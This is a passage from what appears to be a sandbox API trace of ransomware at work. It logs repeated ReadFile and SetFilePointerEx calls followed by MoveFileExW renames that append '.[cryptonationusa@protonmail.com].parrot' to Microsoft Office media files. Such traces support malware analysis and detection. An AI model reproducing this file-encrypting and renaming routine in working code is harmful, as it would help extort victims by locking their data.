lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xf5c, lpOverlapped=0x0) returned 1 [0162.329] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.329] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229385.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229385.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.331] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.331] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.331] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0162.333] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.333] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.343] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.343] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xee0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xee0, lpOverlapped=0x0) returned 1 [0162.343] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.344] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229389.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229389.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.347] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.347] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.347] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0162.349] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.349] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.385] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.385] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x30da, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x30da, lpOverlapped=0x0) returned 1 [0162.387] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.389] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0230876.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0230876.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.392] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.392] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.392] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x226c050 | out: hHeap=0x5b0000) returned 1 [0162.393] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.394] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.395] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.395] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x77f0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x77f0, lpOverlapped=0x0) returned 1 [0162.398] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.399] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233018.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233018.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.401] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.401] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.401] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2270090 | out: hHeap=0x5b0000) returned 1 [0162.404] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.404] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.405] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.405] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1522, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1522, lpOverlapped=0x0) returned 1 [0162.406] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.407] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233070.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233070.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.408] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.408] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.408] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2264048 | out: hHeap=0x5b0000) returned 1 [0162.412] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.412] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.413] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.413] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x80f8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x80f8, lpOverlapped=0x0) returned 1 [0162.416] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.416] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233312.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233312.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.418] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.418] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.418] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22780d0 | out: hHeap=0x5b0000) returned 1 [0162.420] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.420] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.436] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.436] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6632, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6632, lpOverlapped=0x0) returned 1 [0162.440] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.441] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234131.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234131.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2270090 | out: hHeap=0x5b0000) returned 1 [0162.445] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.445] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.446] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.446] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa87e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa87e, lpOverlapped=0x0) returned 1 [0162.450] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.451] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234266.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234266.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22780d0 | out: hHeap=0x5b0000) returned 1 [0162.455] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.455] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.460] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.460] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x27ee, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x27ee, lpOverlapped=0x0) returned 1 [0162.468] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.468] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234657.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234657.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.470] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.471] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.471] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x226c050 | out: hHeap=0x5b0000) returned 1 [0162.473] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.473] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.475] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.475] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd4f, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd4f, lpOverlapped=0x0) returned 1 [0162.475] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.475] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234687.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234687.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0162.479] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.479] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.481] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.481] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1820, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1820, lpOverlapped=0x0) returned 1 [0162.482] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.482] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235241.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235241.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.483] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.483] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.484] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2264048 | out: hHeap=0x5b0000) returned 1 [0162.490] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.490] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.491] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.491] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa24, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa24, lpOverlapped=0x0) returned 1 [0162.492] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.492] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235319.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235319.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0162.496] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.496] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.498] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.499] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13d6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x13d6, lpOverlapped=0x0) returned 1 [0162.502] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.503] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240695.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240695.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.504] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.504] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.504] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2264048 | out: hHeap=0x5b0000) returned 1 [0162.506] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.506] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.510] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.510] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1aa2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1aa2, lpOverlapped=0x0) returned 1 [0162.511] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.512] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240719.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240719.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.513] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.513] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.513] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2264048 | out: hHeap=0x5b0000) returned 1 [0162.515] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.515] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.532] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.533] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1498, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1498, lpOverlapped=0x0) returned 1 [0162.534] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.534] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251301.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251301.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | 